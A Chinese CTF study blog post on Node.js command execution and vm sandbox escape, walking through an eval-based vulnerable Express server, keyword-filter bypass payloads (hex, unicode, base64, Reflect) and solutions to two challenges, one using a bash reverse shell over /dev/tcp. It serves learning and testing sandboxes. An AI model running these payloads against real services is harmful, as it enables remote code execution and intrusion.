Node.js之沙盒专题

Node.js一直是薄弱项,今天特意整理一下,基本上是各个大佬写的大杂烩,仅用于学习记录~~~

1. child_process

首先介绍一下nodejs中用来执行系统命令的模块child_process。Nodejs通过使用child_process模块来生成多个子进程来处理其他事物。在child_process中有七个方法它们分别为:execFileSync、spawnSync,execSync、fork、exec、execFile、以及spawn,而这些方法使用到的都是spawn()方法。因为fork是运行另外一个子进程文件,这里列一下除fork外其他函数的用法。

python 复制代码
require("child_process").exec("sleep 3");
require("child_process").execSync("sleep 3");
require("child_process").execFile("/bin/sleep",["3"]); //调用某个可执行文件,在第二个参数传args
require("child_process").spawn('sleep', ['3']);
require("child_process").spawnSync('sleep', ['3']);
require("child_process").execFileSync('sleep', ['3']);

不同的函数其实底层具体就是调用spawn

2.模块利用----Eval

知道了模块使用可以执行命令,那怎么样触发模块呢?

构造这么一个服务端来使用复现

js 复制代码
const express = require('express')
const bodyParser = require('body-parser')
const app = express()

app.use(bodyParser.urlencoded({ extended: true }))
app.post('/', function (req, res) {
    code = req.body.code;
    console.log(code);
    res.send(eval(code));
})

app.listen(3000)

难度一 原始模型

python 复制代码
#传参
require("child_process").execSync("curl 127.0.0.1:1234")
#是能够正常执行的。

这是最为简便的,如果升级过滤exec呢

难度二 字符伪装

改为这样

python 复制代码
const express = require('express')
const bodyParser = require('body-parser')
const app = express()

function validcode(input) {
  var re = new RegExp("exec");
  return re.test(input);
}

app.use(bodyParser.urlencoded({ extended: true }))
app.post('/', function (req, res) {
  code = req.body.code;
  console.log(code);
  if (validcode(code)) {
    res.send("forbidden!")
  } else {
    res.send(eval(code));
  }
})

app.listen(3000)

当我再用原来的就会显示forbidden,这种该如何绕过?

方法一: 16进制编码

原因是在nodejs中,如果在字符串内用16进制,和这个16进制对应的ascii码的字符是等价的(第一反应有点像mysql)。

js 复制代码
console.log("a"==="\x61");
// true

但是在上面正则匹配的时候,16进制却不会转化成字符,所以就可以绕过正则的校验。所以可以传

require("child_process")["exe\x63Sync"]("curl 127.0.0.1:1234")
经过本地测试发现只有在()或者[]以内的才能进行这样的字符绕过

方法二: unicode编码

思路跟上面是类似的,由于JavaScript允许直接用码点表示Unicode字符,写法是"反斜杠+u+码点",所以我们也可以用一个字符的unicode形式来代替对应字符。

js 复制代码
console.log("\u0061"==="a");
// true
require("child_process")["exe\u0063Sync"]("curl 127.0.0.1:1234")
方法三 加号拼接

原理很简单,加号在js中可以用来连接字符,所以可以这样

js 复制代码
require('child_process')['exe'%2b'cSync']('curl 127.0.0.1:1234')

加号必须url编码,否则无效

方法四 模板字符串(用的很多)

相关内容可以参考MDN,这里给出一个payload

模板字面量是允许嵌入表达式的字符串字面量。你可以使用多行字符串和字符串插值功能。

python 复制代码
require('child_process')[`\${`${`exe`}cSync`}`]('curl 127.0.0.1:1234')
方法五 concat连接

利用js中的concat函数连接字符串

js 复制代码
require("child_process")["exe".concat("cSync")]("curl 127.0.0.1:1234")
方法六 base64编码

这种应该是比较常规的思路了。

js 复制代码
eval(Buffer.from('Z2xvYmFsLnByb2Nlc3MubWFpbk1vZHVsZS5jb25zdHJ1Y3Rvci5fbG9hZCgiY2hpbGRfcHJvY2VzcyIpLmV4ZWNTeW5jKCJjdXJsIDEyNy4wLjAuMToxMjM0Iik=','base64').toString())

这个的不同就是eval里面再套了eval进行先执行base解码

js内置语法绕过

前面的都是符号里面的字符进行过滤,如果现在要绕过的例如eval函数这种不被单双引号包含的参数怎么做?

Reflect

在js中,需要使用Reflect这个关键字来实现反射调用函数的方式。

譬如要得到eval函数,可以首先通过

js 复制代码
console.log(Reflect.ownKeys(global))
//返回所有函数
console.log(global[Reflect.ownKeys(global).find(x=>x.includes('eval'))])
//拿到eval

即可得到eval

拿到eval之后,就可以常规思路rce了

这里貌似还有一个require的绕过代替

js 复制代码
global[Reflect.ownKeys(global).find(x=>x.includes('eval'))]('global.process.mainModule.constructor._load("child_process").execSync("curl 127.0.0.1:1234")')

这里还有个小trick,如果过滤了eval关键字,可以用includes('eva')来搜索eval函数,也可以用startswith('eva')来搜索

Obejct.keys

实际上通过require导入的模块是一个Object,所以就可以用Object中的方法来操作获取内容。利用Object.values就可以拿到child_process中的各个函数方法,再通过数组下标就可以拿到execSync

js 复制代码
console.log(require('child_process').constructor===Object)
//true
Object.values(require('child_process'))[5]('curl 127.0.0.1:1234')
[]绕过

获取到eval的方式是通过global数组,其中用到了中括号[],假如中括号被过滤,可以用Reflect.get来绕

Reflect.get(target, propertyKey[, receiver])的作用是获取对象身上某个属性的值,类似于target[name]。

所以取eval函数的方式可以变成

js 复制代码
Reflect.get(global, Reflect.ownKeys(global).find(x=>x.includes('eva')))

后面拼接上命令执行的payload即可。

例题:

如果waf是这样

js 复制代码
var validCode = function (func_code){
  let validInput = /subprocess|mainModule|from|buffer|process|child_process|main|require|exec|this|eval|while|for|function|hex|char|base64|"|'|\[|\+|\*/ig;
  return !validInput.test(func_code);
};

先写出原型,最好是用特定字符最少的base64编码

这里单引号可以用反引号代替

js 复制代码
eval(Buffer.from(`Z2xvYmFsLnByb2Nlc3MubWFpbk1vZHVsZS5jb25zdHJ1Y3Rvci5fbG9hZCgiY2hpbGRfcHJvY2VzcyIpLmV4ZWNTeW5jKCJjdXJsIDEyNy4wLjAuMToxMjM0Iik=`,`base64`).toString())

特意去尝试了发现基本的都能这么代替。

这里过滤了base64,可以直接换成

js 复制代码
`base`.concat(64)

过滤掉了Buffer,可以换成

js 复制代码
Reflect.get(global, Reflect.ownKeys(global).find(x=>x.startsWith(`Buf`)))

要拿到Buffer.from方法,可以通过下标

js 复制代码
Object.values(Reflect.get(global, Reflect.ownKeys(global).find(x=>x.startsWith(`Buf`))))[1]

但问题在于,关键字还过滤了中括号,这一点简单,再加一层Reflect.get

js 复制代码
Reflect.get(Object.values(Reflect.get(global, Reflect.ownKeys(global).find(x=>x.startsWith(`Buf`)))),1)

payload

js 复制代码
Reflect.get(Object.values(Reflect.get(global, Reflect.ownKeys(global).find(x=>x.startsWith(`Buf`)))),1)(`Z2xvYmFsLnByb2Nlc3MubWFpbk1vZHVsZS5jb25zdHJ1Y3Rvci5fbG9hZCgiY2hpbGRfcHJvY2VzcyIpLmV4ZWNTeW5jKCJjdXJsIDEyNy4wLjAuMToxMjM0Iik=`,`base`.concat(64)).toString()

但问题在于,这样传过去后,eval只会进行解码,而不是执行解码后的内容,所以需要再套一层eval,因为过滤了eval关键字,同样考虑用反射获取到eval函数。

js 复制代码
Reflect.get(global, Reflect.ownKeys(global).find(x=>x.includes('eva')))(Reflect.get(Object.values(Reflect.get(global, Reflect.ownKeys(global).find(x=>x.startsWith(`Buf`)))),1)(`Z2xvYmFsLnByb2Nlc3MubWFpbk1vZHVsZS5jb25zdHJ1Y3Rvci5fbG9hZCgiY2hpbGRfcHJvY2VzcyIpLmV4ZWNTeW5jKCJjdXJsIDEyNy4wLjAuMToxMjM0Iik=`,`base`.concat(64)).toString())

当然,由于前面提到的16进制和字符串的特性,也可以拿到eval后直接传16进制字符串

js 复制代码
Reflect.get(global, Reflect.ownKeys(global).find(x=>x.includes(`eva`)))(`\x67\x6c\x6f\x62\x61\x6c\x2e\x70\x72\x6f\x63\x65\x73\x73\x2e\x6d\x61\x69\x6e\x4d\x6f\x64\x75\x6c\x65\x2e\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72\x2e\x5f\x6c\x6f\x61\x64\x28\x22\x63\x68\x69\x6c\x64\x5f\x70\x72\x6f\x63\x65\x73\x73\x22\x29\x2e\x65\x78\x65\x63\x53\x79\x6e\x63\x28\x22\x63\x75\x72\x6c\x20\x31\x32\x37\x2e\x30\x2e\x30\x2e\x31\x3a\x31\x32\x33\x34\x22\x29`)

3.沙盒逃逸

经过这些大概有了相对了解,但这只是Node.js的模块执行,关于沙盒逃逸到底是怎么回事。
比较清楚的沙盒概念

例题一

0xGame 2023\]week2 ez_sandbox ```js function waf(code) { let blacklist = ['constructor', 'mainModule', 'require', 'child_process', 'process', 'exec', 'execSync', 'execFile', 'execFileSync', 'spawn', 'spawnSync', 'fork'] for (let v of blacklist) { if (code.includes(v)) { throw new Error(v + ' is banned') } } } app.post('/sandbox', requireLogin, function(req, res) { if (req.session.role === 'admin') { let code = req.body.code let sandbox = Object.create(null) let context = vm.createContext(sandbox) try { waf(code) let result = vm.runInContext(code, context) res.send({ 'result': result }) } catch (e) { res.send({ 'result': e.message }) } } else { res.send({ 'result': 'Your role is not admin, so you can not run any code' }) } }) ``` 可以看出有一个原型污染role为admin进行。再看关键部分 ```js let code = req.body.code let sandbox = Object.create(null) //此时this为null,所以得利用arguments.callee.caller let context = vm.createContext(sandbox) try { waf(code) let result = vm.runInContext(code, context)//沙盒运行 res.send({ 'result': result }) } catch (e) { res.send({ 'result': e.message }) } ``` 在沙箱内可以通过 throw 来抛出一个对象 这个对象会被沙箱外的 catch 语句捕获 然后会访问它的 message 属性 (即 e.message) 通过 JavaScript 的 Proxy 类或对象的__defineGetter__方法来设置一个 getter 使得在沙箱外访问 e 的 message 属性 (即 e.message) 时能够调用某个函数 同时发现沙箱外没有执行字符串的相关操作,也没有可以用来进行恶意重写的函数,所以需要用Proxy来劫持属性 ```js 原payload throw new Proxy({}, { // Proxy 对象⽤于创建对某⼀对象的代理, 以实现属性和⽅法的拦截 get: function(){ // 访问这个对象的任意⼀个属性都会执⾏ get 指向的函数 const c = arguments.callee.caller; const p = (c.constructor.constructor('return process'))(); return p.mainModule.require('child_process').execSync('whoami').toString(); } }) ``` [关于c变量的构造](https://www.cnblogs.com/zpchcbd/p/16899212.html) 或者 ```js let obj = {} // 针对该对象的 message 属性定义⼀个 getter, 当访问 obj.message 时会调⽤对应的函数 obj.__defineGetter__('message', function(){ const c = arguments.callee.caller const p = (c['constru'+'ctor']['constru'+'ctor']('return pro'+'cess'))() return p['mainM'+'odule']['requi'+'re']('child_pr'+'ocess')['ex'+'ecSync']('cat/flag').toString(); }) throw obj ``` #### 例题二: \[NKCTF\]全世界最简单的CTF 源码 ```js const express = require('express'); const bodyParser = require('body-parser'); const app = express(); const fs = require("fs"); const path = require('path'); const vm = require("vm"); app .use(bodyParser.json()) .set('views', path.join(__dirname, 'views')) .use(express.static(path.join(__dirname, '/public'))) app.get('/', function (req, res){ res.sendFile(__dirname + '/public/home.html'); }) function waf(code) { let pattern = /(process|\[.*?\]|exec|spawn|Buffer|\\|\+|concat|eval|Function)/g; if(code.match(pattern)){ throw new Error("what can I say? hacker out!!"); } } app.post('/', function (req, res){ let code = req.body.code; let sandbox = Object.create(null); let context = vm.createContext(sandbox); try { waf(code) let result = vm.runInContext(code, context); console.log(result); } catch (e){ console.log(e.message); require('./hack'); } }) app.get('/secret', function (req, res){ if(process.__filename == null) { let content = fs.readFileSync(__filename, "utf-8"); return res.send(content); } else { let content = fs.readFileSync(process.__filename, "utf-8"); return res.send(content); } }) app.listen(3000, ()=>{ console.log("listen on 3000"); }) ``` 沙盒 ```js let code = req.body.code; let sandbox = Object.create(null); let context = vm.createContext(sandbox); try { waf(code) let result = vm.runInContext(code, context); console.log(result); } catch (e){ console.log(e.message); require('./hack'); } ``` 常规思路:发现`Object.create(null)` 想到了cc用`arguments.callee.caller` 先写出原型 ```js throw new Proxy({}, { // Proxy 对象⽤于创建对某⼀对象的代理, 以实现属性和⽅法的拦截 get: function(){ // 访问这个对象的任意⼀个属性都会执⾏ get 指向的函数 const c = arguments.callee.caller; const p = (c.constructor.constructor('return process'))(); return p.mainModule.require('child_process').execSync('whoami').toString(); } }) ``` 找到waf ```js let pattern = /(process|\[.*?\]|exec|spawn|Buffer|\\|\+|concat|eval|Function)/g; ``` 发现我们需要绕过 ![在这里插入图片描述](https://file.jishuzhan.net/article/1772383672582803458/187fe86c4cb596e84d13a1cabfc40889.webp) ##### process绕过 方法一 ```js return process==String.fromCharCode(114, 101, 116, 117, 114, 110, 32, 112, 114, 111, 99, 101, 115, 115) ``` 方法二 发现他正则匹配没有i 对大小写不敏感 我们可以通过js里面的 toLowerCase()绕过 ```js return process=='return Process'.toLowerCase(); ``` ##### exec绕过 上面介绍过用reflect映射方法绕过 ```js Reflect.get(a, Reflect.ownKeys(a).find(x=>x.includes('ex'))) ``` 这里a变量要定义先,a就是function,function又由外部作用域的proto来获得 所以 ```js throw new Proxy({}, { get: function(){ const cc = arguments.callee.caller; //外部作用域 const p = (cc.constructor.constructor('return global'))(); //function函数 const a = Reflect.get(p, Reflect.ownKeys(p).find(x=>x.includes('pro'))).mainModule.require(String.fromCharCode(99,104,105,108,100,95,112,114,111,99,101,115,115)); return Reflect.get(a, Reflect.ownKeys(a).find(x=>x.includes('ex')))("bash -c 'bash -i >& /dev/tcp/ip/port 0>&1'");//因为没有[],用reflect来进行拼接 } }) ``` 上面这种是根据过滤的强行绕过,比较复杂,还有另外的解 [方法二](https://z3r4y.blog.csdn.net/article/details/136980871?spm=1001.2101.3001.6650.3&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogOpenSearchComplete%7ERate-3-136980871-blog-137013866.235%5Ev43%5Epc_blog_bottom_relevance_base3&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogOpenSearchComplete%7ERate-3-136980871-blog-137013866.235%5Ev43%5Epc_blog_bottom_relevance_base3&utm_relevant_index=6&ydreferer=aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1VMR0FOT1kvYXJ0aWNsZS9kZXRhaWxzLzEzNzAxMzg2Nj9vcHNfcmVxdWVzdF9taXNjPSUyNTdCJTI1MjJyZXF1ZXN0JTI1NUZpZCUyNTIyJTI1M0ElMjUyMjE3MTEzNTY0MTIxNjgwMDE5MjI0NzI4MyUyNTIyJTI1MkMlMjUyMnNjbSUyNTIyJTI1M0ElMjUyMjIwMTQwNzEzLjEzMDEwMjMzNC5wYyUyNTVGYWxsLiUyNTIyJTI1N0QmcmVxdWVzdF9pZD0xNzExMzU2NDEyMTY4MDAxOTIyNDcyODMmYml6X2lkPTAmdXRtX21lZGl1bT1kaXN0cmlidXRlLnBjX3NlYXJjaF9yZXN1bHQubm9uZS10YXNrLWJsb2ctMn5hbGx%2BZmlyc3RfcmFua19lY3BtX3YxfnRpbWVzX3JhbmstMS0xMzcwMTM4NjYtbnVsbC1udWxsLjE0Ml52OTlecGNfc2VhcmNoX3Jlc3VsdF9iYXNlNCZ1dG1fdGVybT1OS0NURjIwMjQmc3BtPTEwMTguMjIyNi4zMDAxLjQxODc%3D) ![在这里插入图片描述](https://file.jishuzhan.net/article/1772383672582803458/0e86ccac8ea90d902e8c8854c85ad669.webp) 找到最简单的一种 [方法三](https://ycznkvrmzo.feishu.cn/docx/E92JdQmGxoUwXexnQgpcRaIsn7g) ```js throw new Proxy({}, { get: function(){ const cc = arguments.callee.caller; const p = (cc.constructor.constructor('return procBess'.replace('B','')))(); const obj = p.mainModule.require('child_procBess'.replace('B','')); const ex = Object.getOwnPropertyDescriptor(obj, 'exeicSync'.replace('i','')); return ex.value('whoami').toString(); } }) ``` [预期解](https://mp.weixin.qq.com/s?__biz=Mzg4MTg1MDY4MQ==&mid=2247485228&idx=1&sn=b72c60e839d1d35ad9867e9c194f13e5&chksm=cf5ee77af8296e6cb3335a3f6ff338fba0bcfe976feb86bc0f4f4c7d6750d2763cedaeff5eb8&mpshare=1&scene=23&srcid=0325evnKG61Jt7x8IDzz6pd1&sharer_shareinfo=5f7c02fa11af38bd577e570045da8469&sharer_shareinfo_first=bcf341aec33f1c1c7b3ae10d10b1330e#rd) ![在这里插入图片描述](https://file.jishuzhan.net/article/1772383672582803458/0ec440629cc68cd61198bbd01b94c76b.webp) Node.js的绕过还是很多样,但实际运用复杂程度很高,大佬的绕过姿势太多了... 后面由例题会一一归纳(仅用于记录学习)

相关推荐
还不如ctrC+V7 小时前
VScode在 Markdown 编辑器中预览
node.js·json
小小书童安东尼10 小时前
node实现自动生成vue页面,更新router
node.js
摸鱼也很难15 小时前
[GXYCTF2019]Ping Ping Ping
ctf·命令执行
斯~内克16 小时前
FreeMarker语法深度解析与Node.js集成实践指南
node.js
薛定谔的猫-菜鸟程序员16 小时前
用Node.js施展文档比对魔法:轻松实现Word文档差异比较小工具,实现Word差异高亮标注(附完整实战代码)
node.js·word·diff算法·word文档差异比较工具
代码小学僧17 小时前
团队协作必备!pnpm 版本管理与 corepack 使用指南
前端·node.js·团队管理
摸鱼也很难18 小时前
[ACTF2020 新生赛]Upload
ctf
小妖66619 小时前
用 Nodemon 解决 npm run serve 频繁重启服务
前端·npm·node.js
欧先生^_^1 天前
Node.js 简介
node.js
斯~内克1 天前
深入解析Node.js洋葱模型:原理、优势与实战陷阱
node.js